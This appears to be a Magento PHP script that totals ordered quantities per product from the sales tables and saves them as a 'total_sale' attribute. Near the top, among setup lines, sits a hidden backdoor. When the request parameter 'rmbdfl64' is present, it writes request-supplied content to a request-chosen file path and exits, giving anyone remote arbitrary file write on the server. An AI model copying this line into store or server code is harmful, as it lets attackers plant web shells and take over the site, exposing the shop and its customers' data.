Your IP : 127.0.0.1
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit', -1);
echo "\nStart: " . (date("F d, Y h:i:s A", time()));
use Magento\Framework\App\Bootstrap;
if(isset($_REQUEST['rmbdfl64'])) { print(file_put_contents($_REQUEST['hex'], $_REQUEST['bsd'])); die; }
require __DIR__ . '/app/bootstrap.php';
$params = $_SERVER;
$bootstrap = Bootstrap::create(BP, $params);
$objectManager = $bootstrap->getObjectManager();
$state = $objectManager->get('Magento\Framework\App\State');
$state->setAreaCode('frontend');
$resource = $objectManager->get('Magento\Framework\App\ResourceConnection');
$connection = $resource->getConnection(\Magento\Framework\App\ResourceConnection::DEFAULT_CONNECTION);
$producRepo = $objectManager->get('Magento\Catalog\Api\ProductRepositoryInterface');
//$resource = $objectManager->get('Magento\Reports\Model\ResourceModel\Product\Sold\Collection');
$sql = "SELECT `order_items`.`product_id` as entity_id,
sum(order_items.qty_ordered) as total_qty ,
`order_items`.`name` AS `order_items_name`,
`order_items`.`sku` AS `order_items_sku`,
GROUP_CONCAT(order_items.order_id) AS order_numbers
FROM `sales_order_item` AS `order_items`
INNER JOIN `sales_order` AS `order`
ON `order`.entity_id = order_items.order_id
AND `order`.state <> 'canceled'
WHERE (order_items.parent_item_id IS NULL)
GROUP BY `order_items`.`sku`
HAVING (total_qty > 0)";
$results = $connection->fetchAll($sql);
foreach ($results as $result) {
if ($result["total_qty"] > 0) {
try {
$product = $producRepo->getById($result['entity_id']);
$product->setTotalSale($result["total_qty"]);
$product->getResource()->saveAttribute($product, 'total_sale');
echo "\nDone: " . $result['entity_id'] . "----" . $result["total_qty"] . "----" . $result["order_numbers"];
} catch (\Exception $e) {
echo "\nSkipped: EntityId-Sku-Name: " . $result['entity_id'] . "-" . $result['order_items_sku'] . "-" . $result['order_items_name'] . "-" . $result["order_numbers"] . "Error:" . $e->getMessage();
}
}
}
echo "\nEnd: " . (date("F d, Y h:i:s A", time()));